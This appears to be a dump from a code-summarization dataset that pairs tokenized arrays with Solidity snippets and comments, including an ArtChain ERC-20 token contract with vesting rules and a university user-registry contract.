[ 1, 12083, 11281, 288, 203, 203, 565, 1450, 8139, 364, 2254, 5034, 31, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 24, 31, 203, 1636, 21198, 1023, 28130, 6625, 5621, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 24, 31, 203, 565, 445, 6310, 12, 1080, 3778, 508, 16, 1731, 3778, 1677, 16, 1731, 3778, 2939, 13, 2713, 16618, 1135, 261, 3890, 3778, 13, 288, 203, 3639, 327, 24126, 18, 3015, 4420, 329, 12, 203, 5411, 3532, 3113, 1677, 18, 2469, 422, 374, 692, 1731, 12, 529, 13, 294, 24126, 18, 3015, 4420, 329, 12, 529, 16, 1677, 3631, 203, 5411, 2939, 18, 2469, 422, 374, 692, 1731, 2932, 26293, 13, 294, 24126, 18, 3015, 4420, 329, 2932, 2984, 16, 2939, 16, 6823, 3113, 508, 16, 14675, 13, 203, 3639, 11272, 203, 565, 289, 203, 203, 565, 445, 9804, 2498, 12, 11890, 5034, 1835, 16, 2254, 5034, 2072, 13, 2713, 16618, 1135, 261, 3890, 3778, 13, 288, 203, 565, 289, 203, 203, 565, 445, 2036, 1499, 12, 5127, 9266, 2016, 18, 2957, 1499, 1566, 16, 1731, 3778, 460, 13, 2713, 16618, 1135, 261, 3890, 3778, 13, 288, 203, 3639, 309, 261, 4589, 422, 4437, 9266, 2016, 18, 2957, 1499, 18, 8026, 13, 327, 389, 4589, 2932, 5935, 3113, 460, 1769, 203, 3639, 309, 261, 4589, 422, 4437, 9266, 2016, 18, 2957, 1499, 18, 4947, 13, 327, 389, 4589, 2932, 5681, 17, 3266, 3113, 460, 1769, 203, 565, 289, 203, 203, 565, 445, 2036, 1499, 11343, 620, 12, 5127, 9266, 2016, 2 ]
./full_match/137/0x5dE8baA77325EC8B6f0682cC1DC0f799596d8Cbc/sources/Pool/AdvancePool.sol
* @dev function return TRUE if Pool has enough fund for invest/
function dy_runStrategy() external view returns(bool) { IBEP20 BUSDtoken = getToken(); uint256 curBusdAmount = BUSDtoken.balanceOf(address(this)); uint256 totalValue = getinvestedAmountWithReward(); uint256 suggestReserviorAmount = totalValue .mul(POOL_RESERVIOR) .div(100); if (curBusdAmount > suggestReserviorAmount) { return true; } return false; }
4,765,469
[ 1, 915, 327, 5383, 309, 8828, 711, 7304, 4202, 284, 1074, 364, 2198, 395, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7732, 67, 2681, 4525, 1435, 203, 3639, 3903, 1476, 203, 3639, 1135, 12, 6430, 13, 203, 565, 288, 27699, 540, 467, 5948, 52, 3462, 605, 3378, 40, 2316, 273, 9162, 5621, 203, 3639, 2254, 5034, 662, 7086, 72, 6275, 273, 605, 3378, 40, 2316, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 2254, 5034, 2078, 620, 273, 336, 5768, 3149, 6275, 1190, 17631, 1060, 5621, 203, 3639, 2254, 5034, 19816, 607, 264, 522, 280, 6275, 273, 2078, 620, 203, 4766, 3639, 263, 16411, 12, 20339, 67, 862, 2123, 4136, 916, 13, 203, 4766, 3639, 263, 2892, 12, 6625, 1769, 203, 203, 3639, 309, 261, 1397, 7086, 72, 6275, 405, 19816, 607, 264, 522, 280, 6275, 13, 203, 3639, 288, 203, 5411, 327, 638, 31, 203, 3639, 289, 203, 203, 3639, 327, 629, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xC48C7aEcB4238D482E128c46F21c52e658DC116e/sources/contracts/Woodcutting.sol
Transfer the hatchet to the contract.
hatchetNftCollection.safeTransferFrom(msg.sender, address(this), _tokenId, 1, "Staking your hatchet");
5,621,705
[ 1, 5912, 326, 366, 505, 278, 358, 326, 6835, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 366, 505, 278, 50, 1222, 2532, 18, 4626, 5912, 1265, 12, 3576, 18, 15330, 16, 1758, 12, 2211, 3631, 389, 2316, 548, 16, 404, 16, 315, 510, 6159, 3433, 366, 505, 278, 8863, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.21; /** * Overflow aware uint math functions. * * Inspired by https://github.com/MakerDAO/maker-otc/blob/master/contracts/simple_market.sol */ contract SafeMath { //internals function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed _from, uint256 _value); } /** * ERC 20 token * * https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is SafeMath { /** * Reviewed: * - Interger overflow = OK, checked */ function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != 0X0); // 如果 from 地址中 没有那么多的 token, 停止交易 // 如果 这个转账 数量 是 负数, 停止交易 if (balances[msg.sender] >= _value && balances[msg.sender] - _value < balances[msg.sender]) { // sender的户头 减去 对应token的数量, 使用 safemath 交易 balances[msg.sender] = super.safeSub(balances[msg.sender], _value); // receiver的户头 增加 对应token的数量, 使用 safemath 交易 balances[_to] = super.safeAdd(balances[_to], _value); emit Transfer(msg.sender, _to, _value);//呼叫event return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != 0X0); // 如果 from 地址中 没有那么多的 token, 停止交易 // 如果 from 地址的owner, 给这个msg.sender的权限没有这么多的token,停止交易 // 如果 这个转账 数量 是 负数, 停止交易 if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_from] - _value < balances[_from]) { // 该 交易sender 对 from账户的可用权限 减少 相对应的 数量, 使用 safemath 交易 allowed[_from][msg.sender] = super.safeSub(allowed[_from][msg.sender], _value); // from的户头 减去 对应token的数量, 使用 safemath 交易 balances[_from] = super.safeSub(balances[_from], _value); // to的户头 增加 对应token的数量, 使用 safemath 交易 balances[_to] = super.safeAdd(balances[_to], _value); emit Transfer(_from, _to, _value);//呼叫event return true; } else { return false; } } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { // 该交易的 msg.sender 可以设置 别的spender地址权限 // 允许spender地址可以使用 msg.sender 地址下的一定数量的token allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { // 查看 spender 能控制 多少个 owner 账户下的token return allowed[_owner][_spender]; } mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } /******************************************************************************* * * Artchain Token 智能合约. * * version 15, 2018-05-28 * ******************************************************************************/ contract ArtChainToken is StandardToken { // 我们token的名字, 部署以后不可更改 string public constant name = "Artchain Global Token"; // 我们token的代号, 部署以后不可更改 string public constant symbol = "ACG"; // 我们的 contract 部署的时候 之前已经有多少数量的 block uint public startBlock; //支持 小数点后8位的交易。 e.g. 最小交易量 0.00000001 个 token uint public constant decimals = 8; // 我们的 token 的总共的数量 (不用在意 *10**uint(decimals)) uint256 public totalSupply = 3500000000*10**uint(decimals); // 35亿 // founder账户 - 地址可以更改 address public founder = 0x3b7ca9550a641B2bf2c60A0AeFbf1eA48891e58b; // 部署该合约时,founder_token = founder // 相对应的 token 被存入(并根据规则锁定)在这个账户中 // 更改 founder 地址, token 将保留在 founder_token 地址的中,不会被转移 // 该 founder_token 的地址在合约部署后将不能被更改,该地址下的token只能按照既定的规则释放 address public constant founder_token = 0x3b7ca9550a641B2bf2c60A0AeFbf1eA48891e58b;// founder_token=founder; // 激励团队poi账户 - 地址可以更改 address public poi = 0x98d95A8178ff41834773D3D270907942F5BE581e; // 部署该合约时,poi_token = poi // 相对应的 token 被存入(并根据规则锁定)在这个账户中 // 更改 poi 地址, token 将保留在 poi_token 地址的中,不会被转移 // 该 poi_token 的地址在合约部署后将不能被更改, 该地址下的token只能按照既定的规则释放 address public constant poi_token = 0x98d95A8178ff41834773D3D270907942F5BE581e; // poi_token=poi // 用于私募的账户, 合约部署后不可更改,但是 token 可以随意转移 没有限制 address public constant privateSale = 0x31F2F3361e929192aB2558b95485329494955aC4; // 用于冷冻账户转账/交易 // 大概每14秒产生一个block, 根据block的数量, 确定冷冻的时间, // 产生 185143 个 block 大约需要一个月时间 uint public constant one_month = 185143;// ---- 时间标准 uint public poiLockup = super.safeMul(uint(one_month), 7); // poi 账户 冻结的时间 7个月 // 用于 暂停交易, 只能 founder 账户 才可以更改这个状态 bool public halted = false; /******************************************************************* * * 部署合约的 主体 * *******************************************************************/ function ArtChainToken() public { //constructor() public { // 部署该合约的时候 startBlock等于最新的 block的数量 startBlock = block.number; // 给founder 20% 的 token, 35亿的 20% 是7亿 (不用在意 *10**uint(decimals)) balances[founder] = 700000000*10**uint(decimals); // 7亿 // 给poi账户 40% 的 token, 35亿的 40% 是14亿 balances[poi] = 1400000000*10**uint(decimals); // 14亿 // 给私募账户 40% 的 token, 35亿的 40% 是14亿 balances[privateSale] = 1400000000*10**uint(decimals); // 14亿 } /******************************************************************* * * 紧急停止所有交易, 只能 founder 账户可以运行 * *******************************************************************/ function halt() public returns (bool success) { if (msg.sender!=founder) return false; halted = true; return true; } function unhalt() public returns (bool success) { if (msg.sender!=founder) return false; halted = false; return true; } /******************************************************************* * * 修改founder/poi的地址, 只能 “现founder” 可以修改 * * 但是 token 还是存在 founder_token 和 poi_token下 * *******************************************************************/ function changeFounder(address newFounder) public returns (bool success){ // 只有 "现founder" 可以更改 Founder的地址 if (msg.sender!=founder) return false; founder = newFounder; return true; } function changePOI(address newPOI) public returns (bool success){ // 只有 "现founder" 可以更改 poi的地址 if (msg.sender!=founder) return false; poi = newPOI; return true; } /******************************************************** * * 转移 自己账户中的 token (需要满足 冻结规则的 前提下) * ********************************************************/ function transfer(address _to, uint256 _value) public returns (bool success) { // 如果 现在是 ”暂停交易“ 状态的话, 拒绝交易 if (halted==true) return false; // poi_token 中的 token, 判断是否在冻结时间内 冻结时间为一年, 也就是 poiLockup 个block的时间 if (msg.sender==poi_token && block.number <= startBlock + poiLockup) return false; // founder_token 中的 token, 根据规则分为48个月释放(初始状态有7亿) if (msg.sender==founder_token){ // 前6个月 不能动 founder_token 账户的 余额 要维持 100% (7亿的100% = 7亿) if (block.number <= startBlock + super.safeMul(uint(one_month), 6) && super.safeSub(balanceOf(msg.sender), _value)<700000000*10**uint(decimals)) return false; // 6个月到12个月 founder_token 账户的 余额 至少要 85% (7亿的85% = 5亿9千5百万) if (block.number <= startBlock + super.safeMul(uint(one_month), 12) && super.safeSub(balanceOf(msg.sender), _value)<595000000*10**uint(decimals)) return false; // 12个月到18个月 founder_token 账户的 余额 至少要 70% (7亿的70% = 4亿9千万) if (block.number <= startBlock + super.safeMul(uint(one_month), 18) && super.safeSub(balanceOf(msg.sender), _value)<490000000*10**uint(decimals)) return false; // 18个月到24个月 founder_token 账户的 余额 至少要 57.5% (7亿的57.5% = 4亿0千2百5十万) if (block.number <= startBlock + super.safeMul(uint(one_month), 24) && super.safeSub(balanceOf(msg.sender), _value)<402500000*10**uint(decimals)) return false; // 24个月到30个月 founder_token 账户的 余额 至少要 45% (7亿的45% = 3亿1千5百万) if (block.number <= startBlock + super.safeMul(uint(one_month), 30) && super.safeSub(balanceOf(msg.sender), _value)<315000000*10**uint(decimals)) return false; // 30个月到36个月 founder_token 账户的 余额 至少要 32.5% (7亿的32.5% = 2亿2千7百5十万) if (block.number <= startBlock + super.safeMul(uint(one_month), 36) && super.safeSub(balanceOf(msg.sender), _value)<227500000*10**uint(decimals)) return false; // 36个月到42个月 founder_token 账户的 余额 至少要 20% (7亿的20% = 1亿4千万) if (block.number <= startBlock + super.safeMul(uint(one_month), 42) && super.safeSub(balanceOf(msg.sender), _value)<140000000*10**uint(decimals)) return false; // 42个月到48个月 founder_token 账户的 余额 至少要 10% (7亿的10% = 7千万) if (block.number <= startBlock + super.safeMul(uint(one_month), 48) && super.safeSub(balanceOf(msg.sender), _value)< 70000000*10**uint(decimals)) return false; // 48个月以后 没有限制 } //其他情况下, 正常进行交易 return super.transfer(_to, _value); } /******************************************************** * * 转移 别人账户中的 token (需要满足 冻结规则的 前提下) * ********************************************************/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { // 如果 现在是 ”暂停交易“ 状态的话, 拒绝交易 if (halted==true) return false; // poi_token 中的 token, 判断是否在冻结时间内 冻结时间为一年, 也就是 poiLockup 个block的时间 if (_from==poi_token && block.number <= startBlock + poiLockup) return false; // founder_token 中的 token, 根据规则分为48个月释放(初始状态有7亿) if (_from==founder_token){ // 前6个月 不能动 founder_token 账户的 余额 要维持 100% (7亿的100% = 7亿) if (block.number <= startBlock + super.safeMul(uint(one_month), 6) && super.safeSub(balanceOf(_from), _value)<700000000*10**uint(decimals)) return false; // 6个月到12个月 founder_token 账户的 余额 至少要 85% (7亿的85% = 5亿9千5百万) if (block.number <= startBlock + super.safeMul(uint(one_month), 12) && super.safeSub(balanceOf(_from), _value)<595000000*10**uint(decimals)) return false; // 12个月到18个月 founder_token 账户的 余额 至少要 70% (7亿的70% = 4亿9千万) if (block.number <= startBlock + super.safeMul(uint(one_month), 18) && super.safeSub(balanceOf(_from), _value)<490000000*10**uint(decimals)) return false; // 18个月到24个月 founder_token 账户的 余额 至少要 57.5% (7亿的57.5% = 4亿0千2百5十万) if (block.number <= startBlock + super.safeMul(uint(one_month), 24) && super.safeSub(balanceOf(_from), _value)<402500000*10**uint(decimals)) return false; // 24个月到30个月 founder_token 账户的 余额 至少要 45% (7亿的45% = 3亿1千5百万) if (block.number <= startBlock + super.safeMul(uint(one_month), 30) && super.safeSub(balanceOf(_from), _value)<315000000*10**uint(decimals)) return false; // 30个月到36个月 founder_token 账户的 余额 至少要 32.5% (7亿的32.5% = 2亿2千7百5十万) if (block.number <= startBlock + super.safeMul(uint(one_month), 36) && super.safeSub(balanceOf(_from), _value)<227500000*10**uint(decimals)) return false; // 36个月到42个月 founder_token 账户的 余额 至少要 20% (7亿的20% = 1亿4千万) if (block.number <= startBlock + super.safeMul(uint(one_month), 42) && super.safeSub(balanceOf(_from), _value)<140000000*10**uint(decimals)) return false; // 42个月到48个月 founder_token 账户的 余额 至少要 10% (7亿的10% = 7千万) if (block.number <= startBlock + super.safeMul(uint(one_month), 48) && super.safeSub(balanceOf(_from), _value)< 70000000*10**uint(decimals)) return false; // 48个月以后 没有限制 } //其他情况下, 正常进行交易 return super.transferFrom(_from, _to, _value); } /***********************************************************、、 * * 销毁 自己账户内的 tokens * ***********************************************************/ function burn(uint256 _value) public returns (bool success) { // 如果 现在是 ”暂停交易“ 状态的话, 拒绝交易 if (halted==true) return false; // poi_token 中的 token, 判断是否在冻结时间内 冻结时间为 poiLockup 个block的时间 if (msg.sender==poi_token && block.number <= startBlock + poiLockup) return false; // founder_token 中的 token, 不可以被销毁 if (msg.sender==founder_token) return false; //如果 该账户 不足 输入的 token 数量, 终止交易 if (balances[msg.sender] < _value) return false; //如果 要销毁的 _value 是负数, 终止交易 if (balances[msg.sender] - _value > balances[msg.sender]) return false; // 除了以上的 情况, 下面进行 销毁过程 // 账户token数量减小, 使用 safemath balances[msg.sender] = super.safeSub(balances[msg.sender], _value); // 由于账户token数量 被销毁, 所以 token的总数量也会减少, 使用 safemath totalSupply = super.safeSub(totalSupply, _value); emit Burn(msg.sender, _value); //呼叫event return true; } /***********************************************************、、 * * 销毁 别人账户内的 tokens * ***********************************************************/ function burnFrom(address _from, uint256 _value) public returns (bool success) { // 如果 现在是 ”暂停交易“ 状态的话, 拒绝交易 if (halted==true) return false; // 如果 要销毁 poi_token 中的 token, // 需要判断是否在冻结时间内 (冻结时间为 poiLockup 个block的时间) if (_from==poi_token && block.number <= startBlock + poiLockup) return false; // 如果要销毁 founder_token 下的 token, 停止交易 // founder_token 中的 token, 不可以被销毁 if (_from==founder_token) return false; //如果 该账户 不足 输入的 token 数量, 终止交易 if (balances[_from] < _value) return false; //如果 该账户 给这个 msg.sender 的权限不足 输入的 token 数量, 终止交易 if (allowed[_from][msg.sender] < _value) return false; //如果 要销毁的 _value 是负数, 终止交易 if (balances[_from] - _value > balances[_from]) return false; // 除了以上的 情况, 下面进行 销毁过程 // from账户中 msg.sender可以支配的 token数量 也减少, 使用 safemath allowed[_from][msg.sender] = super.safeSub(allowed[_from][msg.sender], _value); // 账户token数量减小, 使用 safemath balances[_from] = super.safeSub(balances[_from], _value); // 由于账户token数量 被销毁, 所以 token的总数量也会减少, 使用 safemath totalSupply = super.safeSub(totalSupply, _value); emit Burn(_from, _value); //呼叫 event return true; } }
founder_token=founder;
address public constant founder_token = 0x3b7ca9550a641B2bf2c60A0AeFbf1eA48891e58b;
5,474,002
[ 1, 74, 465, 765, 67, 2316, 33, 74, 465, 765, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1758, 1071, 5381, 284, 465, 765, 67, 2316, 273, 374, 92, 23, 70, 27, 5353, 29, 2539, 20, 69, 1105, 21, 38, 22, 17156, 22, 71, 4848, 37, 20, 37, 73, 42, 17156, 21, 73, 37, 24, 5482, 12416, 73, 8204, 70, 31, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.23; import "./User.sol"; import "./Ownable.sol"; import "./Admin.sol"; /** @title ListUsers*/ contract ListUsers is Ownable { address private masterAdmin; struct UserInfo { address cAddress; uint8 userType; // student 0, professore 1, universita 2 uint intPosition; } mapping(address => UserInfo) private uAddressToUserInfo; mapping(uint => address) private intToUAddress; uint private last = 0; //first free slot /** @dev Checks if the student address is not already present in the mapping. * @param student address of the student wallet. */ modifier onlyNewUser(address student) { require(uAddressToUserInfo[student].cAddress == 0x0); _; } /** @dev Checks if the student address is valid. * @param student address of the student. */ modifier onlyValidUser(address student) { require(student != 0x0); _; } /** @dev constuctor of usersList */ constructor() public { masterAdmin = msg.sender; } /** @dev Return the address of the defualt admin. * @return address master admin address. */ function getMasterAdminAddress() public view returns(address) { return masterAdmin; } /** @dev Add a user to the mapping. * @param _usrAddress address of the user contract. * @param _type type of the user. * @param _userAccount address of the user wallet. */ function addUser(address _usrAddress, uint8 _type, address _userAccount) public onlyOwner() onlyNewUser(_usrAddress) onlyValidUser(_usrAddress) { require(uAddressToUserInfo[_userAccount].cAddress == address(0)); intToUAddress[last] = _userAccount; uAddressToUserInfo[_userAccount] = UserInfo(_usrAddress, _type, last); last += 1; } /** @dev get the user contract address. * @param userN index of the user. * @return address user contract address. */ function getUserInt(uint userN) public view returns( address ) { require(uAddressToUserInfo[intToUAddress[userN]].cAddress != 0x0); return uAddressToUserInfo[intToUAddress[userN]].cAddress; } /** @dev get user wallet address. * @param userN index of the user. * @return address user wallet address. */ function getUserAddress(uint userN) public view returns( address ) { require(intToUAddress[userN] != 0x0); return intToUAddress[userN]; } /** @dev get user contract address. * @param userAdd address of the user. * @return address user contract address. */ function getUser(address userAdd) public view returns( address ) { require(uAddressToUserInfo[userAdd].cAddress != 0x0); return uAddressToUserInfo[userAdd].cAddress; } /** @dev return the number of users. * @return uint number of users. */ function getNumberOfUsers() public view returns(uint) { return last; } /** @dev return the type of the user. * @param userAdd address of the user contract. * @return uint8 type of the user. */ function getType(address userAdd) public view returns( uint8 ) { require(uAddressToUserInfo[userAdd].cAddress != 0x0); return uAddressToUserInfo[userAdd].userType; } /** @dev Remove an user from the mapping. * @param uAddress user address. */ function removeUser(address uAddress) public onlyOwner { require(uAddressToUserInfo[uAddress].cAddress != address(0)); uint pos = uAddressToUserInfo[uAddress].intPosition; uAddressToUserInfo[uAddress].cAddress = 0x0; uAddressToUserInfo[uAddress].userType = 3; intToUAddress[pos] = intToUAddress[last-1]; uAddressToUserInfo[intToUAddress[pos]].intPosition = pos; last -= 1; } }
* @dev Checks if the student address is valid. @param student address of the student./
modifier onlyValidUser(address student) { require(student != 0x0); _; }
910,316
[ 1, 4081, 309, 326, 18110, 1758, 353, 923, 18, 565, 18110, 1758, 434, 326, 18110, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
